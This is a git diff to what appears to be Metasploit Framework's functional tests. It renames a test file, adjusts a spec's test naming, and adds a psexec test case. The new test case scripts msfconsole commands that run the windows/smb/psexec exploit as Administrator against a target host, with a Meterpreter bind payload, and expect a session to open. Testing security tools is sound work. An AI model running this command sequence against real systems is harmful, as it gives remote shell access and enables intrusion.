diff --git a/test/functional/framework/msfconsole_spec.rb b/test/functional/framework/msfconsole_spec.rb
index ebbcececc1..65e10590e8 100644
--- a/test/functional/framework/msfconsole_spec.rb
+++ b/test/functional/framework/msfconsole_spec.rb
@@ -149,7 +149,7 @@ describe "Msfconsole" do
 		File.open("#{@input_directory}/#{test_case.name}.rc", 'w') { |f|  f.puts test_case.commands } 
 		
 		## Create the rspec Test Case
-		it "should not error on commands in: #{test_case.name}" do
+		it "should #{test_case.name}" do
 			
 			## Gather the success / failure strings, and combine with the generics
 			success_strings = test_case.expected_successes
diff --git a/test/functional/framework/msftest/100-continue.msftest b/test/functional/framework/msftest/100_continue.msftest
similarity index 84%
rename from test/functional/framework/msftest/100-continue.msftest
rename to test/functional/framework/msftest/100_continue.msftest
index ade8391e15..5c2c73a13e 100644
--- a/test/functional/framework/msftest/100-continue.msftest
+++ b/test/functional/framework/msftest/100_continue.msftest
@@ -25,7 +25,7 @@
 		<failures>
 		</failures>
 		<failure_exceptions>
-			<success>Exploit exception: The connection was refused by the remote host</success>
+			<failure_exception>Exploit exception: The connection was refused by the remote host</failure_exception>
 		</failure_exceptions>
 	</output>
 <msf_test>
diff --git a/test/functional/framework/msftest/psexec.msftest b/test/functional/framework/msftest/psexec.msftest
new file mode 100644
index 0000000000..fab5c2304b
--- /dev/null
+++ b/test/functional/framework/msftest/psexec.msftest
@@ -0,0 +1,31 @@
+<xml>
+<msf_test>
+	<name>
+		psexec
+	</name>
+	<description>
+		This test runs psexec on a vulnerable host.
+	</description>
+	<commands>
+		use windows/smb/psexec
+		set WORKSPACE default
+		set RHOST vulnerable
+		set SMBUser Administrator
+		set SMBPass 
+		set payload windows/meterpreter/bind_tcp
+		set LocalOutput msfconsole_spec_working/output/psexec
+		exploit
+		exit
+		exit
+	</commands>
+	<output>
+		<successes>
+			<success>Meterpreter session 1 opened</success>	
+			<success>Meterpreter session 1 closed.  Reason: User exit</success>
+		</successes>
+		<failures>
+		</failures>
+		<failure_exceptions>
+		</failure_exceptions>
+	</output>
+<msf_test>